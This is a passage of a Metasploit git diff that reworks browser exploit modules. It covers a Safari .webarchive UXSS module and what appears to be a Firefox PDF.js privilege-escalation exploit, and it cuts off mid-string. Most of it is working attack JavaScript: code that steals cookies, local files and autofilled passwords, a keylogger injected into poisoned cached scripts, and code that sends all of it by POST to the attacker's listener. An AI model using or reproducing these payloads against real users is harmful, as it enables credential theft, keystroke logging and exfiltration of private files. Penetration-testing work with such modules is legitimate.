Checking #{uri} [#{res.code}]" + + if res && res.body.include?('Requested Range Not Satisfiable') + vprint_status("#{vmessage} - Vulnerable") + + target_uri.path = uri # Needed for the DoS attack + + return Exploit::CheckCode::Vulnerable + elsif res && res.body.include?('The request has an invalid header name') + vprint_status("#{vmessage} - Safe") + + return Exploit::CheckCode::Safe + else + vprint_status("#{vmessage} - Unknown") + end end - end + Exploit::CheckCode::Unknown + end end diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb index 1972f99d76..2d81a8f2c6 100644 --- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb +++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb @@ -340,7 +340,7 @@ class Metasploit3 < Msf::Auxiliary "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," << "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," << "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED" - @fuzz_rr = datastore['RR'].blank ? fuzz_rr_queries : datastore['RR'] + @fuzz_rr = datastore['RR'].blank? ? fuzz_rr_queries : datastore['RR'] end def run_host(ip) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index fa826e67d2..98d347f89d 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -4,28 +4,28 @@ ## require 'msf/core' +require 'msf/core/exploit/format/webarchive' require 'uri' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Format::Webarchive include Msf::Auxiliary::Report - # [Array>] list of poisonable scripts per user-specified URLS - attr_accessor :scripts_to_poison - def initialize(info = {}) super(update_info(info, - 'Name' => 'Apple Safari .webarchive File Format UXSS', + 'Name' => 'Mac OS X Safari .webarchive File Format UXSS', 'Description' => %q{ - This module exploits a security context vulnerability that is inherent - in Safari's .webarchive file format. The format allows you to - specify both domain and content, so we can run arbitrary script in the - context of any domain. This allows us to steal cookies, file URLs, and saved - passwords from any website we want -- in other words, it is a universal - cross-site scripting vector (UXSS). On sites that link to cached javascripts, - we can additionally poison user's browser cache and install keyloggers. + Generates a .webarchive file for Mac OS X Safari that will attempt to + inject cross-domain Javascript (UXSS), silently install a browser + extension, collect user information, steal the cookie database, + and steal arbitrary local files. + + When opened on the target machine the webarchive file must not have the + quarantine attribute set, as this forces the webarchive to execute in a + sandbox. }, 'License' => MSF_LICENSE, 'Author' => 'joev', @@ -34,785 +34,51 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format'] ], 'DisclosureDate' => 'Feb 22 2013', - 'Actions' => - [ - [ 'WebServer' ] - ], - 'PassiveActions' => - [ - 'WebServer' - ], + 'Actions' => [ [ 'WebServer' ] ], + 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) - - register_options( - [ - OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']), - OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']), - OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']), - OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']), - OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']), - OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']), - OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]), - OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]), - OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache with a javascript keylogger.", true]), - OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]), - OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for stealing form data.", true]) - ], - self.class) end def run - if should_install_keyloggers? - print_status("Fetching URLs to parse and look for cached assets...") - self.scripts_to_poison = find_cached_scripts + if datastore["URIPATH"].blank? + datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6) end + print_status("Creating '#{datastore['FILENAME']}' file...") file_create(webarchive_xml) - print_status("Running WebServer...") - start_http - end - - def cleanup - super - # clear my resource, deregister ref, stop/close the HTTP socket - begin - @http_service.remove_resource(collect_data_uri) - @http_service.deref - @http_service.stop - @http_service.close - @http_service = nil - rescue - end - end - - # - # Ensures that gzip can be used. If not, an exception is generated. The - # exception is only raised if the DisableGzip advanced option has not been - # set. - # - def use_zlib - if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) - fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") - end - end - - # - # Handle the HTTP request and return a response. Code borrorwed from: - # msf/core/exploit/http/server.rb - # - def start_http(opts={}) - # Ensture all dependencies are present before initializing HTTP - use_zlib - - comm = datastore['ListenerComm'] - if (comm.to_s == "local") - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - # Default the server host / port - opts = { - 'ServerHost' => datastore['SRVHOST'], - 'ServerPort' => datastore['SRVPORT'], - 'Comm' => comm - }.update(opts) - - # Start a new HTTP server - @http_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - opts['ServerPort'].to_i, - opts['ServerHost'], - datastore['SSL'], - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - opts['Comm'], - datastore['SSLCert'] - ) - - @http_service.server_name = datastore['HTTP::server_name'] - - # Default the procedure of the URI to on_request_uri if one isn't - # provided. - uopts = { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => collect_data_uri - }.update(opts['Uri'] || {}) - - proto = (datastore["SSL"] ? "https" : "http") - print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - - if (opts['ServerHost'] == '0.0.0.0') - print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") - end - - # Add path to resource - @service_path = uopts['Path'] - @http_service.add_resource(uopts['Path'], uopts) - - # Add path to download - uopts = { - 'Proc' => Proc.new { |cli, req| - resp = Rex::Proto::Http::Response::OK.new - resp['Content-Type'] = 'application/x-webarchive' - resp.body = @xml.to_s - cli.send_response resp - }, - 'Path' => webarchive_download_url - }.update(opts['Uri'] || {}) - @http_service.add_resource(webarchive_download_url, uopts) - - print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}") - - # As long as we have the http_service object, we will keep the ftp server alive - while @http_service - select(nil, nil, nil, 1) - end + exploit end def on_request_uri(cli, request) - begin - data_str = if request.body.size > 0 - request.body - else - request.qstring['data'] + if request.method =~ /post/i + data_str = request.body.to_s + begin + data = JSON::parse(data_str || '') + file = record_data(data, cli) + send_response_html(cli, '') + print_good "#{data_str.length} chars received and stored to #{file}" + rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up + file = record_data(data_str, cli) + print_error "Invalid JSON stored in #{file}" + send_response_html(cli, '') end - data = JSON::parse(data_str || '') - file = record_data(data, cli) - send_response_html(cli, '') - print_good "#{data_str.length} chars received and stored to #{file}" - rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up - print_error "Invalid JSON received: #{data_str}" - send_not_found(cli) + else + send_response(cli, webarchive_xml, { + 'Content-Type' => 'application/x-webarchive', + 'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\"" + }) end end # @param [Hash] data the data to store in the log # @return [String] filename where we are storing the data def record_data(data, cli) - @client_cache ||= Hash.new({}) - @client_cache[cli.peerhost]['file'] ||= store_loot( - "safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data" + if data.is_a? Hash + file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'') + end + store_loot( + file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data" ) - file = @client_cache[cli.peerhost]['file'] - - @client_cache[cli.peerhost]['data'] ||= [] - @client_cache[cli.peerhost]['data'].push(data) - data_str = JSON.generate(@client_cache[cli.peerhost]['data']) - - File.write(file, data_str) - - file - end - - ### ASSEMBLE THE WEBARCHIVE XML ### - - # @return [String] contents of webarchive as an XML document - def webarchive_xml - return @xml if not @xml.nil? # only compute xml once - @xml = webarchive_header - urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) } - @xml << webarchive_footer - end - - # @return [String] the first chunk of the webarchive file, containing the WebMainResource - def webarchive_header - %Q| - - - - - WebMainResource - - WebResourceData - - #{Rex::Text.encode_base64(iframes_container_html)} - WebResourceFrameName - - WebResourceMIMEType - text/html - WebResourceTextEncodingName - UTF-8 - WebResourceURL - file:/// - - WebSubframeArchives - - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - def webarchive_iframe(url, idx) - %Q| - - WebMainResource - - WebResourceData - - #{Rex::Text.encode_base64(iframe_content_for_url(url))} - WebResourceFrameName - <!--framePath //<!--frame#{idx}-->--> - WebResourceMIMEType - text/html - WebResourceTextEncodingName - UTF-8 - WebResourceURL - #{escape_xml url} - - #{webarchive_iframe_subresources(url, idx)} - - | - end - - # @return [String] the XML mark up for adding a set of "stored" resources at - # the given URLs - def webarchive_iframe_subresources(url, idx) - %Q| - WebSubresources - - #{webarchive_resources_for_poisoning_cache(url)} - - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - # @return '' if msf user does not want to poison cache - def webarchive_resources_for_poisoning_cache(url) - if not should_install_keyloggers? then return '' end - - url_idx = urls.index(url) - scripts = scripts_to_poison[url_idx] || [] - xml_dicts = scripts.map do |script| - script_body = inject_js_keylogger(script[:body]) - %Q| - - WebResourceData - - #{Rex::Text.encode_base64(script_body)} - - WebResourceMIMEType - application/javascript - WebResourceResponse - - #{Rex::Text.encode_base64 web_response_xml(script)} - - WebResourceURL - #{escape_xml script[:url]} - - | - end - xml_dicts.join - end - - # @return [String] the closing chunk of the webarchive XML code - def webarchive_footer - %Q| - - - - | - end - - # @param script [Hash] containing HTTP headers from the request - # @return [String] xml markup for serialized WebResourceResponse containing good - # stuff like HTTP/caching headers. Safari appears to do the following: - # NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data]; - # [a encodeObject:response forKey:@"WebResourceResponse"]; - def web_response_xml(script) - # this is a serialized NSHTTPResponse, i'm too lazy to write a - # real encoder so yay lets use string interpolation. - # ripped this straight out of a webarchive save - script['content-length'] = script[:body].length - whitelist = %w(content-type content-length date etag - Last-Modified cache-control expires) - headers = script.clone.delete_if { |k, v| not whitelist.include? k } - - key_set = headers.keys.sort - val_set = key_set.map { |k| headers[k] } - key_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+i } - end - val_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+key_set.length+i } - end - %Q| - - - - - $archiver - NSKeyedArchiver - $objects - - $null - - $0 - 8 - $1 - 1 - $10 - 8 - $11 - 0 - $2 - 7 - $3 - - CF$UID - 2 - |+ - (4..7).map do |i| - %Q| - $#{i} - - CF$UID - #{i+1} - | - end.join("\n") + %Q| - $8 - - CF$UID - #{8+key_set.length*2+2} - - $9 - - CF$UID - 0 - - $class - - CF$UID - #{8+key_set.length*2+3} - - - - $class - - CF$UID - 4 - - NS.base - - CF$UID - 0 - - NS.relative - - CF$UID - 3 - - - #{escape_xml script[:url]} - - $classes - - NSURL - NSObject - - $classname - NSURL - - 388430153.25252098 - 1 - 200 - - $class - - CF$UID - #{8+key_set.length*2+1} - - NS.keys - |+ - key_set.each_with_index.map do |k, i| - %Q| - CF$UID - #{9+i} - | - end.join("\n") + %Q| - - NS.objects - |+ - val_set.each_with_index.map do |k, i| - %Q| - CF$UID - #{9+key_set.length+i} - | - end.join("\n") + %Q| - - - #{key_set.map{|s| "#{s}" }.join("\n")} - #{val_set.map{|s| "#{s}" }.join("\n")} - - $classes - - NSMutableDictionary - NSDictionary - NSObject - - $classname - NSMutableDictionary - - 107961 - - $classes - - NSHTTPURLResponse - NSURLResponse - NSObject - - $classname - NSHTTPURLResponse - - - $top - - WebResourceResponse - - CF$UID - 1 - - - $version - 100000 - - - | - end - - - #### JS/HTML CODE #### - - # Wraps the result of the block in an HTML5 document and body - def wrap_with_doc(&blk) - %Q| - - - - #{yield} - - - | - end - - # Wraps the result of the block with " - end - - # @return [String] mark up for embedding the iframes for each URL in a place that is - # invisible to the user - def iframes_container_html - hidden_style = "position:fixed; left:-600px; top:-600px;" - wrap_with_doc do - frames = urls.map { |url| "" } - communication_js + frames.join + injected_js_helpers + steal_files + message - end - end - - # @return [String] javascript code, wrapped in script tags, that is inserted into the - # WebMainResource (parent) frame so that child frames can communicate "up" to the parent - # and send data out to the listener - def communication_js - wrap_with_script do - %Q| - window.addEventListener('message', function(event){ - var x = new XMLHttpRequest; - x.open('POST', '#{backend_url}#{collect_data_uri}', true); - x.send(event.data); - }); - | - end - end - - # @return [String] all the HTML markup required for executing the chosen attacks - def iframe_content_for_url(url) - # this JS code runs inside the iframes, in the context of url - html = '' - html << injected_js_helpers - html << trigger_cache_poison_for_url(url) if should_install_keyloggers? - html << steal_cookies_for_url(url) if should_steal_cookies? - html << steal_form_data_for_url(url) if should_steal_form? - wrap_with_doc { html } - end - - # @return [String] javascript code, wrapped in a script tag, that steals the cookies - # and response body/headers, and passes them back up to the parent. - def steal_cookies_for_url(url) - wrap_with_script do - %Q| - try { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', '#{url}', true); - req.onreadystatechange = function() { - if (req.readyState==4 && !sent) { - sendData('#{url}', { - response_headers: req.getAllResponseHeaders(), - response_body: req.responseText - }); - sent = true; - } - }; - req.send(null); - } catch (e) {} - sendData('cookie', document.cookie); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals local files - # and sends them back to the listener. This code is executed in the WebMainResource (parent) - # frame, which runs in the file:// protocol - def steal_files - return '' unless should_steal_files? - urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ') - wrap_with_script do - %Q| - var filesStr = "#{urls_str}"; - var files = filesStr.trim().split(/\s+/); - var stealFile = function(url) { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', url, true); - req.onreadystatechange = function() { - if (!sent && req.responseText && req.responseText.length > 0) { - sendData(url, req.responseText); - sent = true; - } - }; - req.send(null); - }; - for (var i = 0; i < files.length; i++) stealFile(files[i]); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals autosaved form - # usernames and passwords. The attack first tries to render the target URL in an iframe, - # and steal populated passwords from there. If the site disables iframes through the - # X-Frame-Options header, we try popping open a new window and rendering the site in that. - def steal_form_data_for_url(url) - wrap_with_script do - %Q| - var stealFormData = function(win, completeFn) { - var doc = win.document; - if (!doc) doc = win.contentDocument; - return function() { - var data = {}, found = false; - try { - var inputs = doc.querySelectorAll( - 'input[type=email],input[type=text],input[type=password],textarea' - ); - for (var i = 0; i < inputs.length; i++) { - if (inputs[i].value && inputs[i].value.length > 0) { - found = true; - data[inputs[i].name] = inputs[i].value; - } - } - if (found) sendData(data); - if (completeFn) completeFn.call(); - } catch(e) {} - } - } - - var tryInNewWin = function() { - var y = window.open('#{url}', '_blank', 'height=0;width=0;location=0;left=200;'); - if (y) { - var int1 = window.setInterval(function(){y.blur();window.top.focus();}, 20); - y.addEventListener('load', function() { - window.setTimeout(stealFormData(y, function(){ - if (int1) { - window.clearInterval(int1); - int1 = null; - } - y.close(); - }), 500); - }, false); - } - }; - var tryInIframe = function(){ - var i = document.createElement('iframe'); - i.style = 'position:absolute;width:2px;height:2px;left:-2000px;top:-2000px;'; - document.body.appendChild(i); - i.src = '#{url}'; - i.addEventListener('load', function() { - window.setTimeout(stealFormData(i), 500); - }, false); - return i; - }; - - var iframe = tryInIframe(); - if (#{should_pop_up?}) { - window.setTimeout(function(){ - - if (iframe.contentDocument && - iframe.contentDocument.location.href == 'about:blank') { - tryInNewWin(); - } - }, 1000) - } - | - end - end - - # @return [String] javascript code, wrapped in script tag, that adds a helper function - # called "sendData()" that passes the arguments up to the parent frame, where it is - # sent out to the listener - def injected_js_helpers - wrap_with_script do - %Q| - window.sendData = function(key, val) { - var data = {}; - data[key] = val; - window.top.postMessage(JSON.stringify(data), "*") - }; - | - end - end - - # @return [String] HTML markup that includes a script at the URL we want to poison - # We will then install the injected_js_keylogger at the same URL - def trigger_cache_poison_for_url(url) - url_idx = urls.index(url) - scripts_to_poison[url_idx].map { |s| - "\n\n" - }.join - end - - # @param original_js [String] the original contents of the script file - # @return [String] the poisoned contents. Once the module has found a valid 304'd script to - # poison, it "poisons" it by adding a keylogger, then adds the output as a resource with - # appropriate Cache-Control to the webarchive. - # @return [String] the original contents if msf user does not want to install keyloggers - def inject_js_keylogger(original_js) - if not should_install_keyloggers? - original_js - else - frame_name = 'lalala___lalala' - secret = '____INSTALLED!??!' - %Q| - (function(){ - if (window['#{secret}']) return; - window['#{secret}'] = true; - document.addEventListener('DOMContentLoaded',function(){ - var buffer = ''; - var sendData = function(keystrokes, time) { - var img = new Image(); - data = JSON.stringify({keystrokes: keystrokes, time: time}); - img.src = '#{backend_url}#{collect_data_uri}?data='+data; - } - document.addEventListener('keydown', function(e) { - var c = String.fromCharCode(e.keyCode); - if (c.length > 0) buffer += c; - }, true); - window.setInterval(function(){ - if (buffer.length > 0) { - sendData(buffer, new Date); - buffer = ''; - } - }, 3000) - }); - })(); - #{original_js} - | - end - end - - # @return [Array>] list of URLs provided by the user mapped to all of the linked - # javascript assets in its HTML response. - def all_script_urls(pages) - pages.map do |url| - results = [] - print_status "Fetching URL #{url}..." - # fetch and parse the HTML document - doc = Nokogiri::HTML(URI.parse(url).open) - # recursively add scripts from iframes - doc.css('iframe').each do |iframe| - print_status "Checking iframe..." - if not iframe.attributes['src'].nil? and not iframe.attributes['src'].value.empty? - results += all_script_urls([iframe.attributes['src'].value]) - end - end - # add all scripts on the current page - doc.css('script').each do |script| # loop over every " + end + + def backend_url + proto = (datastore['SSL'] ? 'https' : 'http') + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + + "#{proto}://#{my_host}#{port_str}#{resource}/catch" + end + + + def file_payload + %Q| + var files = (#{JSON.generate(file_urls)}); + function next() { + var f = files.pop(); + if (f) { + get("file://"+f, function() { + var data = get_data(this); + var x = new XMLHttpRequest; + x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%")); + x.send(data); + }, #{datastore['PER_FILE_SLEEP']}, "%URL%", f); + setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200); + } + } + next(); + | + end + + def file_urls + datastore['FILES'].split(',').map(&:strip) + end + + def js + <<-EOJS +function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); +} + +function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; +} + +function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + open("%url%", "_self"); + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + i = document.getElementById('i'); + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + i2 = document.getElementById('i2'); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', ''; + + setTimeout(function(){ + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + q.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + q.close(); + }, 100) + }, 100) + }, 100); + } + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '